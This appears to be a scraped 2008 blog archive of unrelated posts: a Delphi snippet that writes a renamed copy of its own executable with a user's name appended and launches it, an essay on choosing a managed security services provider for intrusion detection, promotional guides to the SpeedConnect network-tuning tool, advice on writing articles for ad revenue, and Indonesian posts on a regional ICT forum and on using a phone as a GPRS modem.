//to disk the program runs it and then terminates itself :-)
//The reason uppercase('soname') is used is because the program would find the
//data 'SONAME' at the wrong point in the exe file if you did not do it this way
//ditto for uppercase('eoname') this is an IMPORTANT POINT!

procedure TForm1.SpeedButton1Click(Sender: TObject);
var
MyStream: TMemoryStream;
MyFile,newname: string;
A,B: Integer;
begin
If Speedbutton1.Caption <> 'Enter Your Name Below Then Click Here To
Customize Exe'then
begin
exit;
end;
begin
if edit1.text = '' then
begin
showmessage('Please enter a name in the Edit Box!');
exit;
end;
MyStream := TMemoryStream.Create;
try
//in line below you tack on the new data :-)
ExeString := ExeString + uppercase('soname') + Edit1.Text
+ uppercase('eoname');

MyStream.Clear;
MyStream.WriteBuffer(Pointer(ExeSt ring)^,
Length(ExeString));//stri ng
2 stream

newname := application.exename; //change name to make it a clone!
Insert('_clone',newname,l ength(application.exename)-3);

MyStream.savetofile(newname);//sav e stream to file as a temporary
clone!
finally
MyStream.Free;
end;

ShellExecute(Handle, 'open', //run the clone you just
saved!
pchar(newname), nil, nil, SW_SHOWNORMAL);

application.terminate; //die little proggie
die! :-)
end;

Managed Security Services: an IDS solution

2008-04-30T01:46:00.000-07:00

In this age of highly networked computers, e-business success can only be achieved by protecting valuable business assets: from the organizationâ€™s information, or research and development projects and highly skilled professionals that make it happen, to the IT infrastructure that we all have grown to depend on for all aspects of e-business. Protecting the organizationâ€™s assets is a matter of saving money and protecting well-guarded prestige. Such protection can only be achieved with a forward-thinking approach of planning, prevention and timely implementation of security measures. Intrusion detection systems (IDSs) form an important component of this prevention and protection effort, as one layer in the defense in-depth approach, by aiding with automated monitoring and analysis of events in computer systems and networks. Like any other IT-based solution, it is only as good as the organizationâ€™s effort to implement, maintain and operate it. The core component for this operation is the analyst who actually makes sense of the numerous outputs and builds on previous experience to achieve the best tool of defense in this prevention/protection mechanism. Outsourcing as a solution Companies face a variety of challenges with the ever changing technology on which their communications infrastructure is based, and fulfilling the staff requirements to support it. Some organizations do not have enough IT staff, especially in the security arena, to spare even a few individuals to administer yet another system of computers. Network and system administrators are just too busy keeping the operations working. Other security professionals have their resources prioritize looking at the bigger picture and planning other e-business initiatives, such as VPNs and PKI, essential to many organizations. For the highly enterprising security professional, going about doing the research to find the solution that best suits the organizationâ€™s needs for an intrusion detection system implementation, procuring the needed hardware and software and, installing IDS components is just the beginning. The initial research, acquisition and deployment is followed by numerous hours of data and correlation analysis, and keeping up with IDS system updates, technology and the infrastructure that it is designed to protect. For the organization, owning the implementation of an intrusion detection systems means capital investment on hardware and software and, requiring staffing support around the clock to respond to intrusions as real-time emergencies, a problem resolution escalation procedure and specialists to fill the various levels of expertise required for this operation, analysis and problem resolution. Acquiring services from a managed security services provider (MSSP) comes as an alternative to the corporate investment in specialized hardware and software. Also, with staffing limitations that many organizations face, the implementation of an intrusion detection system, given what was discussed earlier, may seem more a burden than a necessary step toward a comprehensive security solution. There is always room for entrepreneurial efforts that provide something that is needed to the organization that does not have the resources to implement and support an intrusion detection system. Still, management needs to task the security professional to find the solution to defining what is wanted and required, and how to go about obtaining and supporting it. A word of caution for those exploring acquiring a managed security services provider as the IDS solution for the organization: do not be confused between managed security services providers (MSSPs) and managed security providers (MSPs). The latter may provide many security related services, but not necessarily installation, administration and monitoring of sensors, data analysis and incident forensics. Still managed security providers may support the development and implementation of many security initiatives for which the organization does not have resources or in-house know-how. Managed Security Services Providers as a Solution Managed security services providers facilitate hardware, software and services to manage and improve on the organizationâ€™s network and system security. Hardware and software provide the basis for sensors or data collectors. Sensors may be network-based which collect network packets as data, or host-based which collect system log entries and/or operating system audit trails data. MSSPs provide services to design, deploy, manage and monitor an intrusion detection system for a customer organization that does not possess the staff or other resources to provide such essential service for themselves. At the core of managed security services monitoring is the security operations center (SOC) where data collected from the sensors is merged, normalized and analyzed. SOCs are staffed 24x7 with analysts as the first step in the escalating process of evaluating suspicious events registered by the intrusion detection system and determining an appropriate handling response. There are various levels of analysis done to the data in the effort of determining if an event is an actual intrusion incident: data mining and correlation techniques are performed including aggregation of events and incidents recorded from other customer sites as well as global incident response centers. By the way, when it comes to monitoring, alert and incident handling coverage provided by the SOC, donâ€™t think that services are any more comprehensive if a managed security services provider happens to mention that they provide 24x7x365 monitoring as opposed to simply 24x7. The 365 sounds impressive, but it adds no additional meaning nor coverage. Actually, this could be a dangerous thing: consider what would happen to the 366th day in a leap yearâ€¦ Considerations When Selecting an MSSP There are many aspects to consider when selecting a managed security services provider. The organization must identify its security needs to find a provider that can meet them. Not all considerations may be important to an organization because it will depend on resources needed and wanted. Your organization and the selected MSSP will draw a service level agreement which determines the level and quality of service to be provided by the MSSP and expected from the organization. The service level agreement needs to be negotiated in advance for a clear understating of services and cost. MSSPs offer various pre-packaged service level agreements that might fit your organizationâ€™s needs or can be customized to the specific needs. Here are some aspects to consider on the road of identifying the organization requirements and selecting a managed security services provider: â€¢ Technology. Managed security services providers offer a variety of technical solutions through software and hardware from various vendors. The solution that is best for your organization will be largely dependent of how much control or hands-on your organization wants, requires and can afford. Another aspect of the same issue is how much the managed security service provider is able to provide. The two hold an inversely proportional relationship. The systems and network infrastructure where the IDS will reside is a deterministic factor as well. Consider some details on the technical requirements: â€¢ Network-based sensors deployment and support. Network speed must be taken into consideration since sensors need to keep up with the data that are trying to collect. â€¢ Host-based sensors deployment and support. Host-based sensors analysis is another aspect of defense in-depth, therefore it should be an integral part of the IDS and the data correlation analysis performed. â€¢ Sensor management. Hands-on support in your organization and the MSSPâ€™s technical capacity to remotely manage sensors are factors in this matter â€¢ Sensor signature upgrade capabilities and timing. Depending on the specific implementation, the product(s) deployed may have capabilities for signature development. Signatures updates can be supplied by the IDS software vendor or by MSSP support for quick implementation and protection. â€¢ System tuning. System tuning is an on-going process to minimize false-positives, which is essential to focus efforts on actual intrusions. MSSPs may consider a pilot phase to establish a base level of event activity that would be used for an initial fine-tuning of the system. â€¢ System scalability. Even in a modest IDS initial deployment, the planning for future sensor deployment and integration should be considered from the start by the organization. â€¢ Technical training. If your MSSP provides basic monitoring and alerting, based on your service level agreement, technical training may be required for your organizationâ€™s analyst who is left with many tasks to support hardware and software components, signature updates and development, and basic sensor maintenance. â€¢ Reporting. There are two types of reporting that an organization should consider: â€¢ Alert reporting. There are some choices or requirements that may need to be implemented to comply with the organizationâ€™s policies: phone notification, e-mail notification, paging, SNMP trap and web portal notification. Timing of alert notification must certainly be considered and can be related to already developed incident handling policies and procedures. â€¢ Statistical and other reporting. Even when the managed security services provider is doing the analytical work and correlation, still as a conscious analyst in your organization, there are many benefits from knowing what type of events are being detected by the intrusion detection system to plan for better security measures. A secured web portal interface can aid the analyst on this task by providing statistical reporting while protecting the information being shared. Incident handling reporting also may help the analyst in the effort to document the organizationâ€™s intrusion incidents and to justify future acquisition and implementation of security measures, in addition to the current MSSP expense. Regular monthly reports are a good way to keep abreast with IDS upgrades and can provide security advisories for newly discovered threats. â€¢ Incident handling and forensics. Support may be beyond monitoring and alerting. Data forensics is needed to understand the event, the extent of any damage done, possible fixes and mitigation steps. This aspect will depend on the organizationâ€™s incident and escalation procedures for intrusion incidents. The organization may also need on-site support in case of an intrusion incident and possible legal counseling and support. â€¢ Companyâ€™s assessment. â€¢ On their own or with a partner. Various MSSPs provide the whole range of services or partner with another company to supplement the security services for the customers. â€¢ Corporate history and growth. Knowing how long the company has been established as a MSSP, number of employees, and growth over time may give the organization some prospective on what to expect, especially if the organization plans to expand services beyond the initial deployment. Also, having an idea of other corporate customers would provide some comfort level on the MSSPs background and capabilities to satisfy the organizationâ€™s needs. â€¢ Location and operations. Location may be a factor if your organization requires on-site support because travel expenses will be reflected in servicesâ€™ cost. Inquire about SOC redundancy of operations since your organization will entrust a critical component of security to the MSSP. â€¢ Personnel background. MSSPs take great pride in having on board former employees from the Department of Defense and other government agencies that specialize on intelligence work. Many analysts may also hold current certifications available for security professionals. In addition, it is wise to understand or require a certain level of background checks and/or clearances for analysts and staff that will be supporting your organizationâ€™s security efforts. â€¢ Security services beyond IDS. To complement intrusion detection system monitoring, MSSPs facilitate development of security policies and procedures, as well as, a more proactive approach to security measures to determine and correct vulnerabilities before an intruderâ€™s exploit. This proactive approach include vulnerability assessment/scanning and penetration testing: o Vulnerability assessment/scanning. Assessing the strength and implementation of security controls on systems and network can be performed with vulnerability assessment tools. Some of these tools are active in nature because they identify vulnerabilities using exploit techniques. Other vulnerability assessment may be performed in a passive mode, where security weaknesses may be encountered by reviewing security measures developed and implemented by the organization such as security policies and procedures, access controls and, roles and responsibilities. Even when data needs to be gathered from production systems, the tests are performed off-line without affecting the systemsâ€™ performance. Both types of vulnerability assessment approaches may assess important security controls such as password strength, file systems protection, system security-related bug-fixes and access control lists. o Penetration testing to find security holes before intruders do is always good practice. Your organization may prefer to have the penetration testing performed by a third party company. This will not only test for security weakness in targeted systems but a test on the intrusion detection system implementation as well. The scope of any penetration testing and vulnerability assessments to be performed should be identified in advance to minimize impact to the systems and networks being tested. â€¢ Cost. This will greatly depend on the service level agreement your organization develops with the selected MSSP. Service level agreements range from simple sensor monitoring and alerting to sensor implementation design and deployment, incidence forensics, vulnerability assessments, penetration testing and others indicated in this document. Consider the number and type of sensors to be deployed and monitored and, the extent of the initial targeted IDS implementation. There could be a significant difference in the cost of host-based versus network-based sensors and how extensive the support requested from the MSSP to maintain the IDS. Also, MSSPs also provide hours of consulting services to satisfy other security needs from customers in an effort to provide comprehensive security services. Some final thoughts There is a wide range of outsourcing alternatives to implement an intrusion detection solution that fits your organizationâ€™s needs. Managed security services providers satisfy many requirements with specialization and solid expertise in the security field. Selecting a managed security service provider may prove to require low initial investment and faster deployment than a solution developed and supported only with in-house resources because of the high cost of ownership. The organization needs to decide between technical and policy requirements, in addition to budget and technical constraints to find and acquire a provider best suited for the job at hand. Maybe the major challenge on acquiring MSSP is knowing what the organization wants and needs before the organization actually gets it.

FAQ - Frequently asked questions about Network parameters optimized by SpeedConnect

2008-04-30T01:42:00.001-07:00

Maximum Transmission Unit (MTU) This is the default packet size that Windows uses to negotiate with. When a connection is opened between two computers, they must agree on an MTU. This is done by comparing MTUs and selecting the smaller of the two. If the MTU is set too large for routers that are between the computers, these routers then fragment this information into a packet size that the router can handle. This fragmentation can double the amount of time it takes to send a single packet. Windows has a built-in MTU Discovery that will adjust for this by sending out a packet that is marked as "Not Fragmentable". Then the router sends back an error to the computer saying that the packet was too large, and Windows then lowers the MTU until there are no more errors. If your ISP uses an MTU of 576, then every time you start a connection, Windows must adjust down to this value. Even though Windows automatically adjusts the packet size, it still takes it time to negotiate an acceptable MTU. By setting this value manually, you greatly reduce the amount of work that Windows must do to negotiate. Maximum Segment Size (MSS) Maximum Segment Size defines the largest segment of data that the TCP stack is prepared to receive. When a connection is established, the two ends agree to use the smaller of each end's value. MSS is generally 40 bytes less than Maximum Transmission Unit, because 40 bytes are used for the TCP and IP headers. TCP Receive Window Size (RWIN) The TCP Receive Window Size is the amount of receive data (in bytes) that can be buffered at one time on a connection. The sending host can send only that amount of data before waiting for an acknowledgment and window update from the receiving host. A value that's too large will result in greater loss of data if packets are lost or damaged, and a value that's too small will slow down data transfer considerably, as each packet will have to be acknowledged before the next packet is sent. Matching the receive window to even increments of the MSS increases the percentage of full-sized TCP segments utilized during bulk data transmission. Time To Live (TTL) This parameter specifies the default Time To Live (TTL) value that is set in the header of outgoing IP packets. The TTL determines the maximum time that an IP packet can live in the network without reaching its destination. It is effectively a limit on the number of routers an IP packet can pass through before it is discarded. Keep Alive Time Specifies how often to send session keepalive packets on active sessions. This will keep connections that have stalled during a particular download session from timing out. The minimum is 1 minute (60000 ms). Recommended setting is 10 minutes (600000 ms). Path MTU - Enable Black Hole Detect This specifies whether the stack will attempt to detect Maximum Transmission Unit (MTU) routers that do not send back ICMP fragmentation-needed messages. ICMP (Internet Control Message Protocol) is defined in STD5, RFC 792. With this feature enabled, TCP will try to send segments without the Don't Fragment bit set if several re-transmissions of a segment go unacknowledged. If the segment is acknowledged as a result, the MTU will be decreased and the Don't Fragment bit will be set in future packets on the connection. Enabling black hole detection increases the maximum number of re-transmissions performed for a given segment. Setting this parameter when it is not needed can cause performance degradation. However, if the router is not sending back the ICMP messages, then PMTU Discovery will not work. This can cause an even greater loss of performance. PMTU Black Hole Detect is recommended to be disabled. Path MTU - Enable Auto Discovery Enabling this setting causes TCP to attempt to discover the Maximum Transmission Unit (MTU or largest packet size) over the path to a remote host. By discovering the Path MTU and limiting TCP segments to this size, TCP is supposed to be able to eliminate fragmentation at routers along the path that connect networks with different MTUs. This requires implementation of the corresponding server side algorithm, however, and presupposes all of the servers on the entire Internet only running MSFT server software with server-side optimization features accessible from MSFT web-browser client software. Needless to say, this is rather unlikely. Nevertheless, it is not recommended to disable this setting as it would then cause an MTU of 576 bytes to be used for all connections that are not to machines on the local subnet. Disabling this setting can cause severe performance degradation because fragmentation may not be compensated for. PMTU Auto Discovery is recommended to be enabled. Enable Selective Acknowledgements (SACK) This parameter controls whether or not Selective Acknowledgment (SACK) support, as specified in RFC 2018, is enabled. Selective Acknowledgement (SACK) is an optimizing feature that lets you acknowledge receipt of individual blocks of data in a continuous sequence, rather than just the last sequence number. The recipient can tell the sender that one or more data blocks are missing from the middle of a sequence, and the sender can retransmit only the missing data. Max Duplicate ACKs This parameter determines the number of duplicate ACKs that must be received for the same sequence number of sent data before fast retransmit is triggered to resend the segment that has been dropped in transit. TCP Window Scaling (RFC 1323) Receive window scaling permits TCP to negotiate a scaling factor for the TCP receive window size, allowing the use of a very large TCP receive window size (RWIN). This option must be enabled in order to use a receive window size (RWIN) larger than 64 KB. Timestamps (RFC 1323) Timestamps help TCP to measuring round trip time (RTT) accurately in order to adjust retransmission timeouts. The Timestamps option provides two four-byte timestamp fields in the TCP header, one to record the time the initial transmission is sent and one to record the time on the remote host. Since this option increases packed header overhead and don't provide much of an improvement, it is recommended to be disabled. This option is specified in RFC 1323. Session Keep Alive This value determines the time interval between keepalive transmissions on a session. Recommended value is 60000 ms (10 minutes). Internet Explorer: MaxConnectionsPerServer This value limits the number of concurrent connections to a web server. Quality and Type Of Service : DisableUserTOSSetting This parameter can be used to allow programs to manipulate the Type Of Service (TOS) bits in the header of outgoing IP packets. LAN Settings : LAN Request Buffer Size This parameter can be used to reduce local area network delays. LAN Settings : Increase LAN Browsing Speed This option disables the network task scheduler leading to faster browsing of network folders. Host Resolution Priority This option group allows settings the priority level for LocalPriority (local names cache), HostsPriority (the hosts file), DnsPriority (DNS) and NetbtPriority (NetBT name resolution, WINS). NetBIOS over TCP/IP: BcastNameQueryCount This value determines the number of times NetBT broadcasts a query for a particular name without receiving a response. NetBIOS over TCP/IP: BcastQueryTimeout This value determines the time interval between successive broadcast name queries for the same name. NetBIOS over TCP/IP: CacheTimeout This value determines the time interval (in miliseconds) that names are cached for in the remote name table. DNS Cache Parameters MaxNegativeCacheTTL limits the negative DNS query answer cache time. NegativeSOACacheTime limits the negative answer to SOA DNS query cache time. NetFailureCacheTime value determines the time to stop sending DNS queries if no answer is received.

How to speed up your internet connection with SpeedConnect

2008-04-30T01:40:00.000-07:00

The speed of your network connection doesn't just depend on the speed of your hardware. Windows is an operating system that is designed to work on a variety of different hardware and network setups. Because of the abstract nature of the operating system, it cannot be optimized for user-specific hardware setups. Depending on the type of network connection you have, you might be able to tweak your connection so that the speed of your Internet, as well as your local area network, will be faster. By changing the System Registry and editing the TCP/IP parameters, you can fine-tune the values to take advantage of more reliable, faster Internet connections, such as DSL and cable. These next sections will guide you through the steps of increasing both the speed of your local area network and your Internet connection. Does your computer slow down when you browse your local area network and connect to other computers that are sharing data? One of the most common causes of this slowdown is a feature of Windows Explorer that looks for scheduled tasks on remote computers. This effort can take some time on some computers and can really slow down your browsing. The window with which you are browsing the network may appear to freeze momentarily, as the system is waiting for a response from the remote computer. Although this problem is a complex one, the solution is very simple. Instead of having to wait for the remote scheduled tasks, which is useless information to anyone who is not a system administrator remotely configuring scheduled tasks, you can disable this feature. In order to do this, you will have to change the System Registry and delete a reference to a key so that this feature will not be loaded. To do this, follow these steps: 1. Start SpeedConnect Internet Accelerator by clicking the Start Menu and selecting Programs, SpeedConnect Internet Accelerator (or using the desktop shortcut, if you created one). 2. Once the software has loaded, click the Extra Settings Panel of SpeedConnect. 3. Next, look for the LAN Settings option group. 4. Check the Increase LAN Browsing Speed checkbox. 5. Click Apply Changes button. Tip: If you prefer to use the easy Quick Optimizer, this option will be automatically checked for you when clicking Optimize button. Once you have clicked the Apply Changes button, you just need to restart and the changes will be in effect. Now your network computer browsing will be without needless delays Disabling unneeded protocols With every computer comes programs installed that you do not need. As with extra programs taking up space, extra protocols are just wasting your network connection and can actually slow it down. How is this possible? By default, a few different protocols are installed on your computer to allow for maximum compatibility with other computers on a network; these protocols each require bandwidth to operate. Most users will not use too many protocols, and their computers will use up a portion of their connection as they respond and transmit information for these protocols. Additionally, with extra protocols installed on your network adapter connected to the Internet, you increase your risk of security-related problems. One of the most common risks for broadband users is that they have the Client for Microsoft Networks networking protocol enabled on their connection. This protocol allows everyone in their neighborhood to connect to the users' computers and view any files that they may be sharing. This fact alone should be a good enough reason for you to turn off the extra protocols. But with them disabled, you will also save a little bandwidth as well. Viewing protocols on your network adapters Viewing the protocols installed and active on your various network adapters is easy. Just follow these quick steps and you will be viewing them in no time: 1. Right-click the My Network Places icon on the desktop or in the Start Menu and select Properties. If the My Network Places icon is not in either of those locations, then go to the Control Panel and click the Network Connections icon that is shown under the Classic view. 2. Next, right-click the network adapter with which you want to view the network protocols and select Properties. 3. This will bring up a list of the protocols installed as well as active on your adapter. The protocols that are installed but not active are indicated by the absence of a check in the checkbox. Disabling a specific protocol Now that you have the list of installed and active protocols on your screen, you are ready to disable a protocol. To do so, just click the check box to remove the check. Then click the OK button and the protocol is no longer active on the network adapter. It is highly recommend that you disable all protocols except for the TCP/IP protocol (also referred to as the Internet Protocol). Doing so will optimize your adapter for speed and security. Be aware that if you remove the Client for Microsoft Networks protocol and the file-sharing protocol, you will no longer be able to share your files. Additionally, you will no longer be able to connect to remote computers to view their shared files. Also keep in mind that if you have multiple adapters in your machines, such as a wireless adapter, a wired network adapter, and a dialup modem, you will have to repeat the preceding instructions for each adapter. Tweaking your Internet connection for speed Almost every computer user has different Internet connection conditions. Some users have very high-speed connections, while others have slow connections. Some users have high-speed connections using cable-based technologies, while others have high-speed connection through DSL-based technologies. On top of these differences, some are located farther away from their local network switching station than others and have a higher latency (delay) on their connections because of the distance the data has to travel. All of these different connection conditions make every user unique. The TCP/IP protocol settings can be optimized for best speed under each of these situations. By default, Windows has these settings set in a "one size fits all" approach. As I mentioned earlier, Windows has to be abstract in certain areas because of its broad user base. Because of this approach, many users can fine-tune their settings to be optimal for their connection conditions. Doing so will optimize the data transferred so your network connection will be more efficient, leading to high speeds. With a little help from some fine online tools and software programs, you can test your Internet connection and decide what needs fine-tuning. The process of tweaking your Internet connection is not always easy, but it is doable. Caution: Before going any further, you are strongly advised to create a system restore point, so that if things go wrong, which is not very likely, you will have a backup. This is NOT necessary if you use SpeedConnect Internet Accelerator. The original settings are automatically saved, and can be restored at any time, if needed. The next step in the tweaking process is to get all of the software that is needed. The main software program that you will use is SpeedConnect Internet Accelerator, which is developed by CBS Software and is available for download at http://www.cbs-soft.com/downl... SpeedConnect is a great program that allows users to edit and optimize their Internet settings safelly and easily . Click here to download and install the latest version of SpeedConnect. Detecting settings with SpeedConnect Internet Accelerator Once you have downloaded SpeedConnect, you are ready to start getting information to use with the program. The first value that you will need to detect is the Maximum Transmission Unit (MTU) of your connection. To do this, you will use the Find Best MTU Tool available on SpeedConnect's Tools&Wizards panel. Follow these steps to find the best maximum transmission unit to use for your connection: 1. First, open SpeedConnect Internet Accelerator. 2. Select the Network Settings Panel and be sure current MTU value is set to 1500. If NOT, set MTU manually to 1500, click Apply Changes and (VERY IMPORTANT!) RESTART Windows. Then re-open SpeedConnect and go to step 3. 3. Once SpeedConnect is loaded and current MTU value is set to 1500, you are ready for the next part. Select the Tools&Wizards Panel, then click Find Best MTU tool. 4. Run the detection test 3 or 4 times, and note the BEST MTU value found by this tool. Write down this BEST MTU value. This will be the MTU value USED ON ALL YOUR OPTIMIZATION TESTS! Optimizing your connection with SpeedConnect Now that you have the BEST MTU value detected, you are ready to enter this information into all your future optimization tests. Open SpeedConnect and select the Quick Optimizer panel, then follow these steps to run your first optimization test: 1. First step is to select your connection type from the drop-down box. 2. If your connection is PPPoE (PPP over Ethernet, is asking a password each time you start your computer and navigate for the first time), then check the PPPoE checkbox. 3. Next, you will have to do a little research and find out exactly what your bandwidth speeds should be for your Internet connection. You may need to contact your ISP to find out the exact values, because the values are not always advertised. If not known, just skip this bandwith step. Otherwise, if you know the bandwith value, make sure that it is in kilobits per second and not kilobytes per second (KB= kilobytes; Kb= kilobits), then select the bandwidth value on the corresponding drop-down box. 1. Next step is to choose a preseted optimization mode to be applied to your connection. 2. Select the Network Adapter to optimize (or choose All Network adapters) from the coresponding drop-down box. Now, you are almost done. 3. Click the Optimize button to let SpeedConnect calculate the optimal network settings for you selection. 4. DO NOT click Apply Changes yet! First, make sure that you have the BEST MTU value in Network Settings Panel (switch from Quick Optimizer panel to Network Settings panel, check current MTU value. If the proposed optimal value is NOT the BEST MTU value found earlier, CHANGE manually the MTU value to your BEST MTU. 5. Finaly, click Apply Changes to let SpeedConnect save the new settings to your system. 6. Exit SpeedConnect. 7. IMPORTANT! RESTART Windows for new settings to take effect. You are now finished with your first process that will optimize your Internet connection. That wasn't too hard now, was it? It is very important to try all the optimization modes, in order to find the best optimization for your internet connection. This means, you have to repeat the above steps (1-10) EACH TIME you are making a new optmization. Then, restart, retest your connection speed, until the best result is obtained. This is all about experimenting, and it takes some time. After all, it is a one time process. Once you will get the best optimization for your connection, you will not need to use SpeedConnect until you decide to change some settings or restore your default settings. Network Settings / Extra Settings (for advanced users) If you want to change any settings manually or if you just want to check the values proposed by SpeedConnect, you can always switch to Network Settings or Extra Settings panels. 1. Choose the Network Settings panel (or Extra Settings panel) 2. Review or change the shown settings. 3. Click Apply Changes. 4. Click Exit. 5. RESTART Windows for new settings to take effect. Caution: If you are experiencing network problems after optimizing your connection, use the Restore Original Settings option (or Restore Windows Defaults) to fix the network settings. You may try the settings again, or you may experience with new values until you'll get best optimization for your connection. If you continue to have problems, or if you have problems with the directions and still want to optimize your connection, feel free to contact SpeedConnect Support Team.

Free Article Gets 1000+ Hits Daily

2008-04-30T01:36:00.000-07:00

In trying to make the most of this influx of revenue sharing opportunities all over the web, the question I am asked the most is: "how did you know what to write about?"

The short answer is, I needed money for my research and I am passionate about my cause. So I read other people's posts about making cash, joined sites that were going to share some of their cash with me, then I wrote about how I made it when I started getting it. Everyone wants to know about your money, online or off. Mind you, there are certain topics I really love to write about and would prefer to do it more, but they don't all convert to funds. Getting 1000 or more page views per day isn't hard if you have something simple that people can use right now, today.

Everyone wants the 'how-to', so give it to them, free.

Don't keep it to yourself whatever you do. This is precisely what everyone is searching for and if you keep it to yourself the money will run out very soon. You've heard the expression 'what goes around , comes around' well it's true! We used to offer e-books, and although there are some great e-books around, nobody seems to want them anymore, free or not. There is no point putting everything you know about making money in your book and trying to sell it for $5 online, when the blog waing in the search box next is posting it right there for the world to see. He's not selling it, but he just got a page view, maybe an ad was clicked, and someone told 5 friends where to go and see it too. Most people will see an informative page and begin reading, then it drags on for so long they scroll to the bottom. As soon as they see the Credit Card links the y will X the page off immediatley.

Free really does pay.

When writing articles.blogs and poems for money, not only must you use simple keywords, but you should also make sure to implement those words carefully throught your article. The number of times one can use the same word repeatedly looks very boring and makes your article dull. Conduct your keyword search by going to google and searching for a keyword tool. If you don't have a paid version there are many freebies out there easy enough to find.

When looking for the appropriate keywords for your article, you will need to use synonyms to eliminate the bore factor. Case in point: the word can be used quite frequently since people who are wanting it won't notice it peppered all over your page if they expect you're going to show them how to get some. However, using related words and phrases will disguise this while allowing you to still make your point.Those of us who are statstically inclined will tell you that 1.5 is the optimum useage for these words throughout your article.

I am not one of those people, I just keep doing what works - another old expression 'if it aint broke, don't try and fix it'.

ICT LHOKSUKON

2008-04-29T04:26:00.000-07:00

Selamat Datang Di Forum Komunikasi Online Untuk Kabupaten Aceh Utara....!!

Yang Di Pelopori Oleh ICT Center Kabupaten Aceh Utara dan Mahsiswa D3 TKJ Aceh Utara.

Atas Nama Tim IT Aceh Utara mengharapkan Bagi semua pihak untuk dapat membantu dan membimbing kami

demi kemajuan Bangsa

Internetan di PC menggunakan Handphone sbg modem

2008-04-17T19:19:00.000-07:00

Sering kali saya mendapatkan pertanyaan tentang bagaimana cara menggunakan handphone sebagai modem. Sebelumnya saya memohon maaf karena informasi yang ada tidak mendetail sampai setting modemnya.

Internet dengan modem ponsel? Keraguan tersebut seringkali muncul dalam benak para pengguna aktif internet. Salah satu sebabnya adalah perhitungan tarif yang berbeda dengan koneksi internet biasa. Pada umumnya biaya yang harus dibayar dihitung berdasarkan lamanya penggunaan internet. Namun jika Anda memanfaatkan jalur GPRS maka biaya dihitung berdasarkan ukuran data yang dikirim maupun diterima. Apakah hal ini akan menguntungkan untuk pengguna? Apa kelebihan yang diperoleh dari akses internet dengan modem ponsel?

Pemanfaatan ponsel sebagai modem untuk akses internet hanya merupakan salah satu alternatif koneksi internet. Caranya adalah dengan menghubungkan ponsel ke komputer/laptop melalui kabel data, infrared, ataupun bluetooth. Selanjutnya ponsel yang terhubung ke komputer akan digunakan sebagai modem untuk berbagai aktivitas di internet. Namun bagi sebagian orang, pemanfaatan ponsel sebagai modem sering dianggap sebagai tindakan buang-buang uang semata. Biaya yang dikeluarkan masih lebih besar dibandingkan dengan koneksi internet biasa. Setiap kilobyte data yang dikirim dan diterima dari jalur GPRS melalui ponsel dikenai biaya yang bervariasi, berkisar Rp. 5 sampai dengan Rp. 30 per kilobyte, tergantung dari pilihan operator.

Tarif rata-rata yang ditetapkan oleh Indosat Seluler untuk akses internet melalui IM3 dan Matrix adalah sebesar Rp. 11 per kilobyte. Sedangkan Mentari tidak menyediakan akses internet melalui GPRS. Hal ini dikarenakan layanan GPRS yang ada pada Mentari sampai saat ini hanya digunakan untuk mendukung pengiriman MMS. Sedangkan Telkomsel memasang tarif akses internet melalui simPATI sebesar Rp. 30 per kilobyte dan KartuHALO sebesar Rp. 25 per kilobyte. Bagi pengguna XL, setiap data yang diakses melalui jalur GPRS dikenai tarif sebesar Rp. 25 per kilobyte. Untuk operator CDMA seperti Mobile-8 (Fren), StarOne (Indosat), dan Telkom Flexi menghargai layanannya sebesar Rp. 5 per kilobyte.

Apabila Anda memanfaatkan Fren, StarOne, atau TelkomFlexi (Rp. 5/kilobyte) untuk mengakses halaman depan situs detik.com yang berukuran 386 Kilobyte, maka pulsa yang akan dipotong berkisar 1930 rupiah. Sedangkan jika menggunakan modem biasa untuk membaca situs yang sama, dibutuhkan waktu rata-rata sekitar 3,5 menit. Dengan lama waktu tersebut, Anda akan terkena biaya berkisar 580 rupiah apabila dihitung dengan perhitungan biaya Telkomnet Instan (Rp. 9.900 / jam). Namun biaya Rp. 580 tersebut tentunya masih harus ditambah dengan lamanya waktu koneksi selama Anda online pada saat membaca halaman tersebut. Namun meskipun telah ditambah dengan waktu baca sekalipun, penggunaan internet dengan modem biasa secara keseluruhan dapat dikatakan lebih murah.

Dengan perhitungan tarif per kilobyte seperti di atas, biaya pemanfaatan internet dengan modem biasa nyaris tak tergantikan oleh akses internet dengan modem ponsel, kecuali jika Anda memilih paket unlimited seperti yang ditawarkan oleh Indosat Seluler. Anda hanya mengeluarkan Rp. 200.000 untuk pemakaian paket unlimited tersebut dalam setiap bulannya, alias senilai Rp. 278 per jam. Namun harga ini hanya dirasakan ringan untuk pengguna internet yang kebutuhan internetnya cukup tinggi dalam setiap bulannya. Seseorang yang mempunyai aktivitas internet cukup tinggi, tentunya tidak akan rugi jika melihat perhitungan harga tersebut. Asalkan kecepatan yang diperoleh tidak mengecewakan, biaya tersebut dapat dikatakan cukup murah. Namun yang perlu diperhatikan, kecepatan akses setiap lokasi seringkali tidak sama. Tergantung dari daya pancar sinyal GPRS ke ponsel pelanggan dan waktu sibuk jalur komunikasi yang dipakai.

Jika Anda bukanlah pengguna internet aktif, apa keuntungan komparatif dari pemanfaatan ponsel sebagai modem?

Keunggulan yang nyata terletak pada kemudahan pemakaian internet di daerah yang tidak terjangkau oleh kabel telepon, jaringan komputer, atau bahkan oleh jangkauan hotspot internet sekalipun. Jika pada suatu daerah terpencil seseorang dapat memperoleh sinyal GPRS, maka ia dapat mengakses internet melalui komputer/laptopnya dengan memanfaatkan ponsel. Selain itu, Anda juga dapat memanfaatkan internet sekalipun masih berada dalam perjalanan, tanpa harus dipusingkan adanya kabel telepon maupun lokasi penyedia jasa layanan internet (ISP). Bagi Anda yang memiliki mobilitas tinggi, cara mengakses internet seperti ini jelas akan mempermudah pekerjaan. Selain itu, apabila dibandingkan dengan layanan dial-up, koneksi internet melalui modem ponsel jauh lebih cepat. Karena kecepatan akses melalui jalur GPRS dapat mencapai 115 KBps, sedangkan pada pada dial-up maksimal hanya 56 KBps.

Instalasi

Sebelum memulai proses instalasi ponsel ke komputer, Anda harus memastikan layanan GPRS telah aktif terlebih dahulu. Khusus untuk IM3, layanan GPRS sudah langsung dapat digunakan ketika Anda membeli kartu perdana. Aktivasi GPRS yang paling mudah adalah dengan mengirimkan SMS dengan keyword tertentu ke salah satu nomor yang telah disediakan oleh operator ponsel. Beberapa operator yang menyediakan layanan SMS untuk aktivasi GPRS dapat Anda lihat pada tabel di bawah ini. Selain itu, Anda dapat menghubungi Customer Service masing-masing operator untuk aktivasi.

